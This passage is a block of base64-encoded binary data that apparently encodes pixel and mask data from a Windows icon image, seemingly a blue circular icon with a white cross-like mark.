p/4AAKn/AACq/gAAq/4AAKz/AACt/gAArv4AAK//AACv/gAAsP8AALL+AACz/gAAtf8AALb+AAC3/gAA + uP8AALn+AAC6/gEBj9sAAAFFAAABDwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQCAAABHAoK + WKooKKv/AACc/gAAnf4AAJ7/AACf/gAAn/8AAKD+AACg/gAAnf4AAJj/AACZ/gAAoP4AAKX/AACn/gAA + qP4AAKn/AACq/gAAq/4AAKz/AACt/gAArv4AAK//AACw/gAAsP4AAK3/AACn/gAAqP8AALD+AAC2/gAA + uP8AALn+AAC6/gAAu/8AALz+AAC9/gAAvv8BAUibAAAAKAAAAQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAUJAAATTC4uqvcBAaD/AACg/gAAof4AAKL/AACj/gAApP8AAKT+AACh/iQkpP7Kyuf/zs7p/ikp + pv4AAKP/AACq/gAArP4AAK3/AACu/gAAr/4AALD/AACx/gAAsv4AALP/AACz/gAArf4pKbD/zs7r/srK + 6v8kJLP+AAC1/gAAu/8AALz+AAC9/gAAv/8AAMD+AADB/gAAwv8BAavtAAAHTwAAARAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAgEAAAEZDAxfqyEhr/8AAKP/AACk/wAApf8AAKb/AACn/wAAp/8AAKj/AACe/8XF + 5v///////////+fn9P8pKaj/AACn/wAArv8AALD/AACx/wAAsv8AALP/AAC0/wAAtf8AALX/AACv/ykp + sP/n5/X////////////ExOn/AACy/wAAvv8AAMD/AADB/wAAwv8AAML/AADE/wAAxP8AAMX/AgJOnAAA + ACQAAAECAAAAAAAAAAAAAAAAAAAAAAAABAQAAAc1Jyen8AICqP4AAKj/AACo/gAAqf4AAKr/AACr/gAA + rP8AAKz+AACj/r295P7//////v7+/v7+/v7l5fP/Kiqs/gAAq/4AALP/AAC1/gAAtv4AALf/AAC4/gAA + uP4AALL/Kiqy/uXl9P7//////v7+/v////+9vej+AAC1/gAAwf8AAMP+AADE/gAAxf8AAMb+AADH/gAA + yP8AAMn+AgKh4AAAAT4AAAEJAAAAAAAAAAAAAAAAAAAAAAAABAwBATZ2JSW2/gAAq/4AAKv/AACs/gAA + rf4AAK7/AACv/gAAr/8AALD+AACs/h0dqf7b2/D//v7+/v7+/v7/////5eX0/ioqr/4AALD/AAC4/gAA + uv4AALv/AAC6/gAAtP4pKbT/5eX0/v7+/v7//////v7+/tvb8v8dHbf+AAC//gAAxf8AAMb+AADH/gAA + yP8AAMn+AADK/gAAy/8AAMv+AwPM/gEBIWsAAAAUAAAAAAAAAAAAAAAAAAAAAAAAAhYPD3G1FRW1/wAA + r/8AALD/AACw/wAAsf8AALL/AACz/wAAs/8AALT/AAC0/wAAr/8dHaz/2dnv/////////////////+fn + 9f8qKrP/AAC0/wAAvP8AAL3/AAC3/ykptv/n5/X/////////////////2dnx/x0duP8AAMD/AADH/wAA + yP8AAMn/AADK/wAAy/8AAMz/AADN/wAAzv8AAM7/BQXQ/wICYKUAAAAiAAAAAgAAAAAAAAAAAAADAgAA + ACIfH6PlAgKz/gAAs/4AALT/AAC0/gAAtf4AALb/AAC3/gAAt/8AALj+AAC5/gAAuf4AALT/Hh6w/tnZ + 8P7//////v7+/v7+/v7l5fX/Kyu2/gAAt/4AALj/Kiq4/uXl9f7//////v7+/v7+/v7Z2fH/Hh66/gAA + wv8AAMn+AADL/gAAzP8AAMz+AADN/gAAzv8AAM/+AADQ/gAA0f8AANH+AwPT/gcHlc8AAAAwAAABBAAA + AAAAAAAAAAAEBAAADDYeHr3+AAC2/gAAt/4AALj/AAC5/gAAuf4AALr/AAC7/gAAvP8AALz+AAC9/gAA + vv4AAL7/AAC4/h0ds/7b2/H//v7+/v7+/v7/////5eX1/ioqtf4pKbX/5eX1/v7+/v7//////v7+/tvb + 8v4dHbz/AADE/gAAy/8AAM3+AADO/gAAz/8AAND+AADQ/gAA0f8AANL+AADT/gAA0/8AANT+AADV/gwM + wu4AAAA9AAAACAAAAAAAAAAAAAAGBgAAJVYcHML/AAC7/wAAu/8AALz/AAC9/wAAvf8AAL7/AAC//wAA + v/8AAMD/AADB/wAAwf8AAML/AADC/wAAvf8dHbf/2dnx/////////////////+fn9v/n5/b///////// + ////////2dny/x0dvv8AAMf/AADO/wAA0P8AAND/AADR/wAA0v8AANP/AADT/wAA1P8AANX/AADW/wAA + 1v8AANf/AADY/w4O2v4BAQlMAAABCwAAAAAAAAAAAAADCAEBO24eHsb/AwPA/gAAv/4AAMD/AADB/gAA + wf4AAML/AADD/gAAw/8AAMT+AADF/gAAxf4AAMb/AADH/gAAx/4AAMH/Hh66/tnZ8f7//////v7+/v7+ + /v7//////v7+/v7+/v7Z2fL/Hh7A/gAAyf4AAND/AADS/gAA0/8AANP+AADU/gEB1f8BAdb+AgLX/gEB + 1/8BAdj+AADY/gAA2f8AANr+AADa/hAQ3f8CAiBgAAAADgAAAAAAAAAAAAADCAAAQnchIcr/DAzG/gkJ + xv4BAcT/AADF/gAAxf4AAMb/AADG/gAAx/8AAMj+AADI/gAAyf4AAMr/AADK/gAAy/4AAMv/AADD/h0d + uP7c3PL//v7+/v7+/v7//////v7+/tzc8/4dHbz/AADK/gAA0/4BAdX/BQXW/ggI1/8LC9j+CwvZ/gwM + 2v8MDNr+DAzb/gwM3P8MDNz+Cwvd/goK3f8HB93+AwPd/hMT4P8BASdoAAAADwAAAAAAAAAAAAAECAAA + RHcjI87/ExPL/xMTy/8SEsz/CwvK/wICyf8AAMn/AADK/wAAyv8AAMv/AADM/wAAzP8AAM3/AADO/wAA + zv8AAM7/AADF/ykpvf/n5/b//////////////////////+fn9/8sLMH/CQnN/w8P2P8TE9r/ExPb/xMT + 2/8TE9z/ExPc/xMT3f8TE97/ExPe/xMT3/8TE9//ExPg/xMT4P8TE+H/ExPh/yEh5P8AAChoAAAADwAA + AAAAAAAAAAAJBwEBQW4lJdH/GhrQ/hoa0P4aGtH/GhrR/hoa0f4SEtH/CQnP/gEBzv8AAM/+AADP/gAA + 0P4AANH/AADR/gAA0P4AAMn/KirE/uXl9v7//////v7+/v7+/v7//////v7+/v7+/v7n5/f/Pj7L/hkZ + 1P4aGt3/Ghrf/hoa3/8aGuD+Ghrg/hoa4P8aGuH+Ghrh/hoa4v8aGuL+Ghrj/hoa4/8aGuT+Ghrk/icn + 5v8CAiNfAAABDQAAAAAAAAAAAAAIBQAALlYmJtX/IyPV/iMj1f4jI9X/IyPW/iMj1v4jI9f/IyPY/iEh + 2P8bG9f+ExPW/g0N1v4HB9X/AwPU/gAAzP4pKcb/5eX2/v7+/v7//////v7+/t/f9P7f3/T//v7+/v7+ + /v7/////5+f3/kNDzv4hIdj/IyPh/iMj4/8jI+P+IyPk/iMj5P8jI+T+IyPl/iMj5v8jI+b+IyPm/iMj + 5/8jI+f+IyPo/ioq6f4CAg9JAAACCgAAAAAAAAAAAAAMAgEBFDUjI9f+LCza/yws2v8sLNr/LCzb/yws + 2/8sLNz/LCzc/yws3P8sLN3/LCzd/yws3v8sLN3/KirV/0lJzP/q6vj/////////////////39/1/z8/ + yf8/P8n/39/1/////////////////+rq+P9KStH/Kirb/yws5f8sLOb/LCzn/yws5/8sLOj/LCzo/yws + 6f8sLOn/LCzp/yws6v8sLOr/LCzq/ysr3PIAAAA1AAADBgAAAAAAAAAAAAALAQAAAxsdHcXqNjbe/jU1 + 3/42Nt//NTXf/jU13/42NuD/NTXg/jY24f81NeH+NTXi/jU14P4zM9j/UVHP/unp9/7//////v7+/v7+ + /v7g4PX/SEjR/jMz3P4zM9z/SEjR/uDg9f7//////v7+/v7+/v7p6fj/UVHU/jMz3/81Nej+NTXq/jY2 + 6v81Ner+NTXr/jY26/81Nez+NTXs/jY27f81Ne3+PT3u/h0dr9EAAAAoAAAFAwAAAAAAAAAAAAAAAAAA + DRAPD5S5QUHj/j8/4/4/P+P/Pz/j/j8/5P4/P+T/Pz/l/j8/5f8/P+X+Pz/k/jw83P5YWNL/6ur4/v7+ + /v7//////v7+/uPj9v5PT9P/PT3g/j8/6P4/P+j/PT3h/k9P1P7j4/b//v7+/v7+/v7/////6ur4/lhY + 1v88POL+Pz/r/j8/7v8/P+7+Pz/u/j8/7v8/P+7+Pz/v/j8/7/8/P+/+T0/x/gkJeKQAAAIZAAAEAQAA + AAAAAAAAAAAAAAAAEQcCAlN2Q0Pm/0pK5/9KSuf/Skrn/0pK6P9KSuj/Skro/0pK6f9KSun/SEji/19f + 1v/s7Pn/////////////////4uL2/1dX1f9HR+T/Skrr/0pK7P9KSu3/Skrs/0dH5f9XV9f/4uL2//// + /////////////+zs+f9fX9v/SEjo/0pK7/9KSvD/Skrw/0pK8f9KSvH/Skrx/0pK8f9KSvH/Skry/gMD + NGUAAAcNAAAAAAAAAAAAAAAAAAAAAAAAFQIBARMuMTHc9VVV6v5VVer/VFTr/lRU6/5VVev/VFTr/lVV + 7P9UVOv+T0/d/tbW8/7//////v7+/v7+/v7k5Pb/YGDX/lFR5v5UVO3/VFTv/lRU7/5VVfD/VFTv/lRU + 7v5RUef/YGDZ/uTk9v7//////v7+/v/////W1vT+T0/i/lRU8f9UVPL+VFTy/lVV8/9UVPP+VFTz/lVV + 9P9ZWfT+NDTR5AAABDAAAAoFAAAAAAAAAAAAAAAAAAAAAAAAAAABAREPExOTsF5e7f9fX+7/X1/u/19f + 7v9fX+//X1/v/19f7/9fX+7/WVnh/9HR8v///////////+bm9/9oaNn/XFzo/19f8P9fX/H/X1/y/19f + 8v9fX/L/X1/y/19f8v9fX/H/XFzq/2ho2//m5vf////////////R0fP/WVnl/19f8/9fX/T/X1/1/19f + 9f9fX/X/X1/1/19f9f9ubvb/CgpzmgAABRcAAAgBAAAAAAAAAAAAAAAAAAAAAAAAAAACAiAEAQEtR0xM + 6vtqavD/amrx/mpq8f5qavH/amrx/mpq8f9qavH+Z2fr/nBw3v7OzvH/0dHy/nFx3f5mZur/aWny/mpq + 8/5qavT/amr0/mpq9P5qavT/amr0/mpq9P5qavT/aWn0/mZm7P5xcd//0dHy/s7O8v9wcOH+Z2fv/mpq + 9v9qavb+amr2/mpq9/9qavf+amr3/mxs9/9PT+bxAQESPwAADQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAgISEBkZmrBzc/P/dHTz/nR08/51dfT/dHT0/nV19P90dPT+dHTz/nJy7v5ubuf/bm7n/nJy + 7v50dPX/dHT2/nR09v51dfb/dHT2/nR09v51dfb/dHT2/nR09/51dff/dHT3/nR09v5ycvD/bm7p/m5u + 6f9ycvH+dHT3/nV1+P90dPj+dHT4/nV1+P90dPj+dHT4/oSE+f8PD3eZAAAFGAAADQEAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAABAQkAwEBHDJMTOTxf3/2/39/9v9/f/b/f3/2/39/9v9/f/b/f3/3/39/ + 9/9/f/b/f3/2/39/9/9/f/f/f3/3/39/9/9/f/f/f3/4/39/+P9/f/j/f3/4/39/+P9/f/j/f3/4/39/ + +P9/f/j/f3/4/39/+P9/f/n/f3/5/39/+f9/f/n/f3/5/39/+f9/f/n/iIj6/0lJ1OEBAQkwAgIUBgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUFHwkJCVtxcnL1/oqK9/6Kivf/ior4/oqK + +P+Kivj+ior4/oqK+P6Kivj/ior4/oqK+f6Kivn/ior5/oqK+f6Kivn/ior5/oqK+f6Kivn/ior5/oqK + +f6Kivr/ior6/oqK+v6Kivr/ior6/oqK+v+Kivr+ior6/oqK+v+Kivr+ior6/oqK+/+MjPv+e3v1+QUF + OmADAw4OAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEIgEEBBURGBiUpIWF + +P6UlPn/lJT5/pSU+f+UlPr+lJT6/pSU+v6UlPr/lJT6/pSU+v6UlPr/lJT6/pSU+v6UlPr/lJT6/pSU + +v6UlPv/lJT7/pSU+/6UlPv/lJT7/pSU+/6UlPv/lJT7/pSU+/+UlPv+lJT7/pSU+/+UlPv+lJT7/pSU + +/+Pj/v+EhJwjQEBBRcDAxcCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAHBy4CAwMVGiAgr76UlPr/nZ37/52d+/+dnfv/nZ37/52d+/+dnfv/nZ37/52d+/+dnfv/nZ37/52d + +/+dnfv/nZ37/52d+/+dnfz/nZ38/52d/P+dnfz/nZ38/52d/P+dnfz/nZ38/52d/P+dnfz/nZ38/52d + /P+dnfz/np78/5iY/P8YGJCnAQEFHgUFHQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAACAgzAwICERwmJrG+mZn7/qam/P+mpvz+pqb8/qam/P6mpvz/pqb8/qam + /P6mpvz/pqb8/qam/P6mpvz/pqb8/qam/P6mpvz/pqb8/qam/P6mpv3/pqb8/qam/P6mpv3/pqb9/qam + /f+mpv3+pqb9/qam/f+oqP3+l5f8/hgYk6gAAAIeBAQaBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoKNgMEBBYZJCSZo5qa+/6vr/3+r6/9/q+v + /f6vr/3/r6/9/q+v/f6vr/3/r6/9/q+v/f6vr/3/r6/9/q+v/f6vr/3/r6/9/q+v/f6vr/3/r6/9/q+v + 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 + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAgAAAAYAAAALAAAAEAAAABUAAAAXAAAAFwAAABUAAAARAAAADAAAAAcAAAADAAAAAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAwAAAAoAAAAWAAAAJgAAADYAAABGAAAHWAAAE20AABd1AAAXdQAAEm0AAAVYAAAASAAA + ADoAAAApAAAAGQAAAAwAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAQAAAAQAAAAJQAAAUEAABp1BQVCrBYWa9YdHYfwGxuU/hkZlf8WFpX/ExOU/xAQ + lP8NDZL9CwuC7QUFZdIBAUCpAAAWcwAAAEYAAAAqAAAAEwAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAACAAAADQAAACYAAAlTBQVApiEhf+UmJpn+Hh6W/woKjv4AAIr+AACL/wAA + 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 + vf4AAL7/AQFImwAAACgAAAEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFCQAAE0wuLqr3AQGg/wAA + oP4AAKH+AACi/wAAo/4AAKT/AACk/gAAof4kJKT+ysrn/87O6f4pKab+AACj/wAAqv4AAKz+AACt/wAA + rv4AAK/+AACw/wAAsf4AALL+AACz/wAAs/4AAK3+KSmw/87O6/7Kyur/JCSz/gAAtf4AALv/AAC8/gAA + vf4AAL//AADA/gAAwf4AAML/AQGr7QAAB08AAAEQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIBAAABGQwM + X6shIa//AACj/wAApP8AAKX/AACm/wAAp/8AAKf/AACo/wAAnv/Fxeb////////////n5/T/KSmo/wAA + p/8AAK7/AACw/wAAsf8AALL/AACz/wAAtP8AALX/AAC1/wAAr/8pKbD/5+f1////////////xMTp/wAA + sv8AAL7/AADA/wAAwf8AAML/AADC/wAAxP8AAMT/AADF/wICTpwAAAAkAAABAgAAAAAAAAAAAAAAAAAA + AAAAAAQEAAAHNScnp/ACAqj+AACo/wAAqP4AAKn+AACq/wAAq/4AAKz/AACs/gAAo/69veT+//////7+ + /v7+/v7+5eXz/yoqrP4AAKv+AACz/wAAtf4AALb+AAC3/wAAuP4AALj+AACy/yoqsv7l5fT+//////7+ + /v7/////vb3o/gAAtf4AAMH/AADD/gAAxP4AAMX/AADG/gAAx/4AAMj/AADJ/gICoeAAAAE+AAABCQAA + AAAAAAAAAAAAAAAAAAAAAAQMAQE2diUltv4AAKv+AACr/wAArP4AAK3+AACu/wAAr/4AAK//AACw/gAA + rP4dHan+29vw//7+/v7+/v7+/////+Xl9P4qKq/+AACw/wAAuP4AALr+AAC7/wAAuv4AALT+KSm0/+Xl + 9P7+/v7+//////7+/v7b2/L/HR23/gAAv/4AAMX/AADG/gAAx/4AAMj/AADJ/gAAyv4AAMv/AADL/gMD + zP4BASFrAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAIWDw9xtRUVtf8AAK//AACw/wAAsP8AALH/AACy/wAA + s/8AALP/AAC0/wAAtP8AAK//HR2s/9nZ7//////////////////n5/X/Kiqz/wAAtP8AALz/AAC9/wAA + t/8pKbb/5+f1/////////////////9nZ8f8dHbj/AADA/wAAx/8AAMj/AADJ/wAAyv8AAMv/AADM/wAA + zf8AAM7/AADO/wUF0P8CAmClAAAAIgAAAAIAAAAAAAAAAAAAAwIAAAAiHx+j5QICs/4AALP+AAC0/wAA + tP4AALX+AAC2/wAAt/4AALf/AAC4/gAAuf4AALn+AAC0/x4esP7Z2fD+//////7+/v7+/v7+5eX1/ysr + tv4AALf+AAC4/yoquP7l5fX+//////7+/v7+/v7+2dnx/x4euv4AAML/AADJ/gAAy/4AAMz/AADM/gAA + zf4AAM7/AADP/gAA0P4AANH/AADR/gMD0/4HB5XPAAAAMAAAAQQAAAAAAAAAAAAABAQAAAw2Hh69/gAA + tv4AALf+AAC4/wAAuf4AALn+AAC6/wAAu/4AALz/AAC8/gAAvf4AAL7+AAC+/wAAuP4dHbP+29vx//7+ + /v7+/v7+/////+Xl9f4qKrX+KSm1/+Xl9f7+/v7+//////7+/v7b2/L+HR28/wAAxP4AAMv/AADN/gAA + zv4AAM//AADQ/gAA0P4AANH/AADS/gAA0/4AANP/AADU/gAA1f4MDMLuAAAAPQAAAAgAAAAAAAAAAAAA + BgYAACVWHBzC/wAAu/8AALv/AAC8/wAAvf8AAL3/AAC+/wAAv/8AAL//AADA/wAAwf8AAMH/AADC/wAA + wv8AAL3/HR23/9nZ8f/////////////////n5/b/5+f2/////////////////9nZ8v8dHb7/AADH/wAA + zv8AAND/AADQ/wAA0f8AANL/AADT/wAA0/8AANT/AADV/wAA1v8AANb/AADX/wAA2P8ODtr+AQEJTAAA + AQsAAAAAAAAAAAAAAwgBATtuHh7G/wMDwP4AAL/+AADA/wAAwf4AAMH+AADC/wAAw/4AAMP/AADE/gAA + xf4AAMX+AADG/wAAx/4AAMf+AADB/x4euv7Z2fH+//////7+/v7+/v7+//////7+/v7+/v7+2dny/x4e + wP4AAMn+AADQ/wAA0v4AANP/AADT/gAA1P4BAdX/AQHW/gIC1/4BAdf/AQHY/gAA2P4AANn/AADa/gAA + 2v4QEN3/AgIgYAAAAA4AAAAAAAAAAAAAAwgAAEJ3ISHK/wwMxv4JCcb+AQHE/wAAxf4AAMX+AADG/wAA + xv4AAMf/AADI/gAAyP4AAMn+AADK/wAAyv4AAMv+AADL/wAAw/4dHbj+3Nzy//7+/v7+/v7+//////7+ + 